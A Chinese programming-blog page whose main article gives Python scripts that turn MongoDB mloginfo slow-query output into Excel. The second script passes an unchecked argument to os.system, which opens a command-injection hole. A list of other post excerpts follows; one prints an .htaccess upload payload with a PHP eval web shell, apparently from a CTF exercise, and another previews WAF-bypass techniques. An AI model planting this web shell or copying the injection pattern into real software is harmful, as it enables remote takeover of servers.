当前位置：首页 > news >正文

Mongodb 慢查询日志分析 - 1

news 来源：原创 2025/7/2 1:09:50

Mongodb 慢查询日志分析

使用 mloginfo 处理过的日志会在控制台输出, 显示还是比较友好的.

但是如果内容较大, 就不方便查看了, 如果可以导入到 excel 就比较方便筛选/排序. 但是 mloginfo 并没有提供生成到 excel 的功能. 可以通过一个 python 脚本辅助生成:

import pandas as pd
import re# 定义文件路径
mloginfo_output_file = "mloginfo_output.txt"  # 假设已经保存了 mloginfo 的输出内容
excel_output_file = "mloginfo_slow_queries.xlsx"# 定义解析逻辑
def parse_mloginfo(file_path):parsed_data = []with open(file_path, "r", encoding="utf-8") as f:for line in f:# 跳过表头或空行if line.startswith("namespace") or not line.strip():continue# 用正则表达式解析每一行match = re.match(r'^(?P<namespace>\S+)\s+(?P<operation>\S+)\s+(?P<pattern>\{.*?\}|None)\s+(?P<count>\d+)\s+(?P<min_ms>\d+)\s+(?P<max_ms>\d+)\s+(?P<percentile_95>\d+\.?\d*)\s+(?P<sum_ms>\d+)\s+(?P<mean_ms>\d+\.?\d*)\s+(?P<allowDiskUse>\S+)',line)if match:parsed_data.append(match.groupdict())return parsed_data# 调用解析逻辑
parsed_data = parse_mloginfo(mloginfo_output_file)# 如果有数据，转换为 DataFrame 并保存为 Excel
if parsed_data:df = pd.DataFrame(parsed_data)# 转换数据类型（如数字列）numeric_columns = ["count", "min_ms", "max_ms", "percentile_95", "sum_ms", "mean_ms"]for col in numeric_columns:df[col] = pd.to_numeric(df[col])# 保存为 Excel 文件df.to_excel(excel_output_file, index=False)print(f"慢查询已成功保存到 {excel_output_file}")
else:print("未找到可解析的慢查询数据。")

以下是一个更加完成的, 可以在命令参数中执行日志文件:

#!/usr/bin/env python
# -*- coding: utf-8 -*-import os
import re
import pandas as pd
import argparse# 设置命令行参数解析
parser = argparse.ArgumentParser(description="解析 mloginfo 输出并保存为 Excel")
parser.add_argument("log_file", type=str, help="mloginfo 输出文件路径")
args = parser.parse_args()# Step 1: 运行 mloginfo 命令，捕获输出
log_file = args.log_fileoutput_file = f"{log_file}.txt"excel_output_file = f"{log_file}.xlsx"os.system(f"mloginfo {log_file} --queries > {output_file}")# 定义解析逻辑
def parse_mloginfo(file_path):parsed_data = []with open(file_path, "r", encoding="utf-8") as f:for line in f:# 跳过表头或空行if line.startswith("namespace") or not line.strip():continue# 用正则表达式解析每一行match = re.match(r'^(?P<namespace>\S+)\s+(?P<operation>\S+)\s+(?P<pattern>\{.*?\}|None)\s+(?P<count>\d+)\s+(?P<min_ms>\d+)\s+(?P<max_ms>\d+)\s+(?P<percentile_95>\d+\.?\d*)\s+(?P<sum_ms>\d+)\s+(?P<mean_ms>\d+\.?\d*)\s+(?P<allowDiskUse>\S+)',line)if match:parsed_data.append(match.groupdict())return parsed_data# 调用解析逻辑
parsed_data = parse_mloginfo(output_file)# 如果有数据，转换为 DataFrame 并保存为 Excel
if parsed_data:df = pd.DataFrame(parsed_data)# 转换数据类型（如数字列）numeric_columns = ["count", "min_ms", "max_ms", "percentile_95", "sum_ms", "mean_ms"]for col in numeric_columns:df[col] = pd.to_numeric(df[col])# 调整列顺序，将 pattern 列移到最后columns = [col for col in df.columns if col != "pattern"] + ["pattern"]df = df[columns]# 保存为 Excel 文件df.to_excel(excel_output_file, index=False)print(f"慢查询已成功保存到 {excel_output_file}")
else:print("未找到可解析的慢查询数据。")

Mongodb 慢查询日志分析 - 1

Mongodb 慢查询日志分析使用 mloginfo 处理过的日志会在控制台输出, 显示还是比较友好的. 但是如果内容较大, 就不方便查看了, 如果可以导入到 excel 就比较方便筛选/排序. 但是 mloginfo 并没有提供生成到 excel 的功能. 可以通过一个 python 脚本辅助生成: import pandas…...

编程日记 2025/7/2 1:09:50

fps一些内容添加

1 增强输入要点记录输入 ：输入值的类型布尔 1d，2d，3d 映射：就是确定按键输入键位，输入类型，和一些触发器（按键方式）修改器（对输出值进行修改） 基本的&am…...

编程日记 2025/7/1 1:09:26

从单体应用到微服务的迁移过程

目录 1. 理解单体应用与微服务架构2. 微服务架构的优势3. 迁移的步骤步骤 1：评估当前单体应用步骤 2：确定服务边界步骤 3：逐步拆分单体应用步骤 4：微服务的基础设施和工具步骤 5：管理和优化微服务步骤 6：逐…...

编程日记 2025/7/1 22:38:56

计算机视觉-卷积

卷积-图像去噪一、图像二进制灰度彩色 1.1二进制图像 0 1 一个点可以用一个bit（0/1）来表示 1.2灰度图像 0-255 一个点可以用一个byte来表示 1.3彩色图像 RGB 表达一个彩色图像先说它的分辨率p/w（宽）和q/h（高…...

编程日记 2025/7/1 23:18:48

Sprintboot原理

配置优先级 Springboot中支持的三种配置文件： application.propertiesapplication.ymlapplication.yaml java系统属性：-Dxxxxxx 命令行参数：-xxxxxx 优先级：命令行参数>java系统属性>application.properties>applicat…...

编程日记 2025/7/1 20:26:27

2007-2020年各省国内专利申请授权量数据

2007-2020年各省国内专利申请授权量数据 1、时间：2007-2020年 2、来源：国家统计局、统计年鉴 3、指标：行政区划代码、地区名称、年份、国内专利申请授权量(项) 4、范围：31省 5、指标解释：专利是专利权的简称&…...

编程日记 2025/7/1 23:36:20

SpringBoot或SpringAI对接DeekSeek大模型

今日除夕夜，deepseek可是出尽了风头，但是我看网上还没有这方面的内容对接，官网也并没有，故而本次对接是为了完成这个空缺我看很多的博客内容是流式请求虽然返回时正常的，但是他并不是实时返回，而是全部响应…...

编程日记 2025/7/1 23:00:57

MV结构下设置Qt表格的代理

目录预备知识模型关联刷新示例代理模型界面结果完整资料见： 所谓MV结构，是“model-view”（模型-视图）的简称。也就是说，表格的数据保存在model中，而视图由view实现。在我前面的很多博客…...

编程日记 2025/7/1 22:40:49

C++：多继承习题2

题目内容： 分别声明Teacher类和Cadre类，采用多重继承派生出新类Teacher_Dadre。要求： （1）在两个基类中都包含姓名、年龄、性别、地址和电话。 （2）在Teacher类中包含title数据成员，Ca…...

编程日记 2025/7/1 22:44:43

DeepSeek--通向通用人工智能的深度探索者

一、词源与全称 “DeepSeek"由"Deep”（深度）与"Seek"（探索）组合而成，中文译名为"深度求索"。其全称为"深度求索人工智能基础技术研究有限公司"，英文对应"De…...

编程日记 2025/7/1 23:30:32

Spring MVC中HandlerInterceptor和Filter的区别

目录一、处理阶段二、功能范围三、参数访问四、配置方式五、使用场景说明在Spring MVC中，HandlerInterceptor和Filter都是用于拦截请求的重要组件，但它们在多个方面存在显著的差异。本文将详细解析这两种拦截机制的区别，并结合使用…...

编程日记 2025/7/1 8:05:51

Linux 部署 Java 项目：Tomcat、Redis、MySQL 教程

在 Linux 服务器上部署 Java 项目通常需要配置应用服务器（如 Tomcat）、数据库（如 MySQL）和缓存服务器（如 Redis）。本文将详细介绍如何在 Linux 环境中部署一个 Java 项目，涵盖 Tomcat、Redis 和…...

编程日记 2025/7/1 23:41:53

C语言------数组从入门到精通

1.一维数组目标:通过思维导图了解学习一维数组的核心知识点: 1.1定义使用类型名数组名[数组长度]; 定义数组。 // 示例： int arr[5]; 1.2一维数组初始化数组的初始化可以分为静态初始化和动态初始化两种方式。它们的主要区别在于初始化的时机和内存分配的方…...

编程日记 2025/7/2 0:16:56

工作总结：git篇

文章目录前言基础Gerrit1.克隆2.新建本地分支和checkout3.添加到暂存区新增文件到暂存区修改已经添加到暂存区的文件取消添加到暂存区的文件 4.提交到本地仓库在不重复提交的情况下，修改本次提交 5.提交到远程仓库6.评审其他辅助命令前言目前也算是工作一段时间…...

编程日记 2025/7/1 19:52:22

2024年终总结——今年是蜕变的一年

2024年终总结摘要前因转折找工作工作的成长人生的意义摘要 2024我从国企出来，兜兜转转还是去了北京，一边是工资低、感情受挫，一边是压力大、项目经历少，让我一度找不到自己梦寐以求的工作，我投了一家又一家&#xff…...

编程日记 2025/6/29 20:10:55

Linux环境基础开发工具的使用(apt, vim, gcc, g++, gbd, make/Makefile)

什么是软件包在Linux下安装软件, 一个通常的办法是下载到程序的源代码, 并进行编译, 得到可执行程序. 但是这样太麻烦了, 于是有些人把一些常用的软件提前编译好, 做成软件包(可以理解成windows上的安装程序)放在一个服务器上, 通过包管理器可以很方便的获取到这个编译好的…...

编程日记 2025/7/1 22:55:10

宫本茂的游戏设计思想:有趣与风格化

作为独立游戏开发者之一，看到任天堂宫本茂20年前的言论后，深感认同。游戏研发思想，与企业战略是互为表里的，游戏是企业战略的具体战术体现，虚空理念的有形载体。任天堂长盛不衰的关键就是靠简单有趣的游戏&#xf…...

编程日记 2025/7/1 22:49:02

题目上传.htaccess就是修改配置文件 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch>php_value auto_prepend_file .htaccess #<?php eval($_POST[md]);?>SetHandler和ForceType …...

编程日记 2025/7/1 11:24:30

树和图的实现与应用：C语言实践详解

树和图的实现与应用：C语言实践详解树和图是两种重要的非线性数据结构，在计算机科学中有着广泛的应用。从基本的二叉树到复杂的图算法（如最短路径和最小生成树），这些结构能够帮助我们高效解决实际问题。本文将从基础出发，逐步深入，讲解如何用C语言实现树和图，并探讨其…...

编程日记 2025/6/30 7:22:12

DeepSeek助力学术文献搜索！

搜集文献宝子们如果是第一次发表学术论文，论文往往是会署名多个作者。在这种情况下，即便成功发表了论文，独立撰作或主导写作的挑战仍旧存在。那么，怎样才能独立地完成一篇属于自己的学术论文呢？对于初次尝试学术论文…...

编程日记 2025/7/1 7:50:55

新项目上传gitlab

Git global setup git config --global user.name “FUFANGYU” git config --global user.email “fyfucnic.cn” Create a new repository git clone gitgit.dev.arp.cn:casDs/sawrd.git cd sawrd touch README.md git add README.md git commit -m “add README” git push…...

编程日记 2025/6/28 5:15:19

t113 procd-init文件系统增加自己的程序文件

tina 默认为 procd-init ,可以通过Tina procd-init 与 busybox-init 切换 | 全志在线开发者论坛默认的procd-init系统的文件夹在tina-sdk/target/allwinner/t113-round/base-files, 把文件或者文件夹放这里会在编译pack的时候打包到文件系统...

编程日记 2025/7/1 21:37:08

vue中的el是指什么

简介： 在Vue.js中，el指的是Vue实例的挂载元素。具体来说，el是一个选项，用于指定Vue实例应该挂载到哪个DOM元素上。通过这个选项，Vue可以知道应该从哪个元素开始进行模板编译和渲染。它可以是一个CSS选择器字符串&…...

编程日记 2025/7/1 22:40:12

渗透测试之WAF规则触发绕过规则之规则库绕过方式

目录 Waf触发规则的绕过特殊字符替换空格实例特殊字符拼接绕过waf Mysql 内置得方法注释包含关键字实例 Waf触发规则的绕过特殊字符替换空格用一些特殊字符代替空格，比如在mysql中%0a是换行，可以代替空格这个方法也可以部分绕过最新版本的…...

编程日记 2025/7/1 13:37:08

前端【11】HTML+CSS+jQUery实战项目--实现一个简单的todolist

前端【8】HTMLCSSjavascript实战项目----实现一个简单的待办事项列表 (To-Do List)-CSDN博客学过jQUery可以极大简化js代码的编写，基于之前实现的todolist小demo，了解如何使用 jQuery 来实现常见的动态交互功能。修改后的js代码关键点解析动态添加…...

编程日记 2025/7/1 16:00:06

Vscode的AI插件 —— Cline

简介 vscode的一款AI辅助吃插件，主要用来辅助创建和编辑文件，探索大型项目，使用浏览器并执行终端命令（需要多个tokens），可以使用模型上下文协议（MCP）来创建新工具并扩展自己(比较慢…...

编程日记 2025/7/1 11:06:56

HTML表单深度解析：GET 和 POST 提交方法

系列文章目录 01-从零开始学 HTML：构建网页的基本框架与技巧 02-HTML常见文本标签解析：从基础到进阶的全面指南 03-HTML从入门到精通：链接与图像标签全解析 04-HTML 列表标签全解析：无序与有序列表的深度应用 05-HTML表格标签全面…...

编程日记 2025/6/28 4:51:48

CycleGAN模型解读（附源码+论文）

CycleGAN 论文链接：Unpaired Image-to-Image Translation using Cycle-Consistent Adversarial Networks 官方链接：pytorch-CycleGAN-and-pix2pix 老规矩，先看看效果总体流程先简单过一遍流程，细节在代码里说。CycleGAN有…...

编程日记 2025/6/28 0:22:14

WebAssembly(Wasm)详解

WebAssembly 详解：开启 Web 应用的新纪元引言 WebAssembly（简称 Wasm）是一种革命性的技术，它为 Web 应用带来了接近原生的性能，并支持使用多种编程语言进行开发。本文将深入探讨 WebAssembly 的方方面面&#xff0c…...

编程日记 2025/7/1 11:53:18

基于物联网设计的疫苗冷链物流监测系统

一、前言 1.1 项目开发背景随着全球经济的发展和物流行业的不断创新，疫苗和生物制品的运输要求变得越来越高。尤其是疫苗的冷链物流，温度、湿度等环境因素的控制直接关系到疫苗的质量和效力，因此高效、可靠的冷链监控系统显得尤为重要。冷…...

编程日记 2025/6/28 0:20:04

RabbitMQ 多种安装模式

文章目录前言一、Windows 安装 RabbitMq1、版本关系2、Erlang2.1、下载安装 Erlang 23.12.2、配置 Erlang 环境变量 3、RabbitMQ3.1、下载安装 RabbitMQ 3.8.93.2、环境变量3.3、启动RabbitMQ 管理插件3.3、RabbitMQ3.4、注意事项二、安装docker1、更新系统包：2、…...

编程日记 2025/6/28 3:24:18

视频拼接，拼接时长版本

目录视频较长，分辨率较大，这个效果很好，不耗用内存 ffmpeg imageio，适合视频较短视频较长，分辨率较大，这个效果很好，不耗用内存 ffmpeg import subprocess import glob import os from nats…...

编程日记 2025/7/1 2:02:09

【Linux探索学习】第二十七弹——信号（一）：Linux 信号基础详解

Linux学习笔记： https://blog.csdn.net/2301_80220607/category_12805278.html?spm1001.2014.3001.5482 前言： 前面我们已经将进程通信部分讲完了，现在我们来讲一个进程部分也非常重要的知识点——信号，信号也是进程间通信的一…...

编程日记 2025/6/28 0:19:54

有限元分析学习——Anasys Workbanch第一阶段笔记梳理

第一阶段笔记主要源自于哔哩哔哩《ANSYS-workbench 有限元分析应用基础教程》张晔主要内容导图： 笔记导航如下： Anasys Workbanch第一阶段笔记(1)基本信息与结果解读_有限元分析变形比例-CSDN博客 Anasys Workbanch第一阶段笔记(2)网格单元与应力奇…...

编程日记 2025/6/28 0:19:58

【YOLOv11改进- 注意力机制】YOLOv11+SCSA注意力机制（2024）: 最新空间和通道协同注意力,助力YOLOv11有效涨点；包含二次创新

YOLOV11目标检测改进实例与创新改进专栏专栏地址：YOLOv11目标检测改进专栏，包括backbone、neck、loss、分配策略、组合改进、原创改进等；本文介绍本文给大家带来的改进内容是在YOLOv11中添加SCSA注意力机制，助力有效涨点。作者提出了一种新的空间与通道协同注意模块（S…...

编程日记 2025/6/30 9:27:08

科技快讯 | 理想官宣：正式收费！WeChat 港币钱包拓宽商户网络；百川智能发布深度思考模型Baichuan-M1-preview

理想官宣：正式收费！ 1月23日，理想汽车宣布，理想超充站超时占用费正式运营。触发超时占用费的条件为充电结束后15分钟内未将充电枪插回充电桩，收费标准为2元/分钟，单次封顶200元。理想汽车将在充电结束的四个…...

编程日记 2025/6/29 23:16:38

LLM架构与优化：从理论到实践的关键技术

标题：“LLM架构与优化：从理论到实践的关键技术” 文章信息摘要： 文章探讨了大型语言模型（LLM）开发与应用中的关键技术，包括Transformer架构、注意力机制、采样技术、Tokenization等基础理论，以…...

编程日记 2025/6/28 5:40:20

深入理解Pytest中的Setup和Teardown

关注开源优测不迷路大数据测试过程、策略及挑战测试框架原理，构建成功的基石在自动化测试工作之前，你应该知道的10条建议在自动化测试中，重要的不是工具对于简单程序而言，使用 Pytest 运行测试直截了当。然而，当你…...

编程日记 2025/7/1 20:15:33

PostgreSQL 约束

PostgreSQL 约束引言在数据库设计中，约束是确保数据完整性和一致性的关键工具。PostgreSQL，作为一款功能强大的开源关系型数据库管理系统，提供了丰富的约束类型来满足不同的数据库设计需求。本文将详细介绍PostgreSQL中的各种约束，包括其定义、用途和实现方法。一、约…...

编程日记 2025/6/30 16:56:11

JAVA 接口、抽象类的关系和用处详细解析

接口 - Java教程 - 廖雪峰的官方网站一个抽象类如果实现了一个接口，可以只选择实现接口中的部分方法（所有的方法都要有，可以一部分已经写具体，另一部分继续保留抽象），原因在于： 抽象类本身…...

编程日记 2025/7/1 22:36:44

【微服务与分布式实践】探索 Dubbo

核心组件服务注册与发现原理服务提供者启动时，会将其服务信息（如服务名、版本、所在节点的网络地址等）注册到注册中心。服务消费者则可以从注册中心发现可用的服务提供者列表，并与之通信。注册中心会存储服务的信息&#xff0c…...

编程日记 2025/6/30 16:25:23

lightweight-charts-python 包更新 lightweight-charts.js 的方法

lightweight-charts-python 是 lightweight-charts.js 的 python 包装，非常好用 lightweight-charts 更新比较频繁，导致 lightweight-charts-python 内置的 lightweight-charts 经常不是最新的。新的 lightweight-charts 通常可以获得性能改进和bug修复…...

编程日记 2025/6/30 4:37:20

作業系統：設計與實現-母本

2023 南京大學《作業系統：設計與實現》課程主頁（含講義）：https://jyywiki.cn/OS/2023/ 【Python 实现操作系统模型 [南京大学2023操作系统-P4] (蒋炎岩)-哔哩哔哩】 https://b23.tv/jakxDbh 用Python实现操作系统模型讲义一、操作系统基础概念 1.1 定义操作系统（Oper…...

编程日记 2025/7/1 18:17:24

穿心莲内酯（andrographolide）生物合成CYP72-文献精读106

Two CYP72 enzymes function as Ent-labdane hydroxylases in the biosynthesis of andrographolide in Andrographis paniculata 两种CYP72酶在穿心莲（Andrographis paniculata）中作为Ent-labdane羟化酶，在穿心莲内酯（andrograp…...

编程日记 2025/6/29 7:23:22

IDM-VTON本地部署教程：双重编码 + 文字提示，解锁真实野外试穿

一、介绍 IDM-VTON：改进扩散模型，实现真实的野外虚拟试穿。技术原理：改进扩散模型，利用视觉编码器提取服装高级语义信息并与交叉注意力层融合，通过并行 UNet 结构的 GarmentNet 捕捉服装低级特征并与自注意力层结合&…...

编程日记 2025/6/28 3:20:04

【微服务与分布式实践】探索 Sentinel

参数设置熔断时长、最小请求数、最大RT ms、比例阈值、异常数熔断策略慢调⽤⽐例当单位统计时⻓内请求数⽬⼤于设置的最⼩请求数⽬，并且慢调⽤的⽐例⼤于阈值，则接下来的熔断时⻓内请求会⾃动被熔断异常⽐例当单位统计时⻓内请求数⽬⼤于设置…...

编程日记 2025/6/30 20:07:09

云计算与虚拟化技术讲解视频分享

互联网各领域资料分享专区(不定期更新)： Sheet 前言由于内容较多，且不便于排版，为避免资源失效，请用手机点击链接进行保存，若链接生效请及时反馈，谢谢~ 正文链接如下（为避免资源失效&#x…...

编程日记 2025/6/28 1:10:27

[c语言日寄]越界访问：意外的死循环

【作者主页】siy2333 【专栏介绍】⌈c语言日寄⌋：这是一个专注于C语言刷题的专栏，精选题目，搭配详细题解、拓展算法。从基础语法到复杂算法，题目涉及的知识点全面覆盖，助力你系统提升。无论你是初学者，还是…...

编程日记 2025/6/28 5:59:01

数据结构---哈希表

基本概念哈希函数（Hash Function）是一种将输入的数据（通常是任意大小的）映射到固定大小的输出（通常是一个固定长度的值）的函数。这个输出值通常称为“哈希值”（Hash Value）或“哈希…...

编程日记 2025/7/1 0:28:27

【C语言----数组详解】

目录 ---------------------------------------begin--------------------------------------- 一、什么是数组二、数组的声明和初始化 1. 数组的声明 2. 数组的初始化三、数组元素的访问四、数组的遍历五、数组的应用六、多维数组七、总结 --------------------…...

编程日记 2025/6/30 8:19:20

相关文章：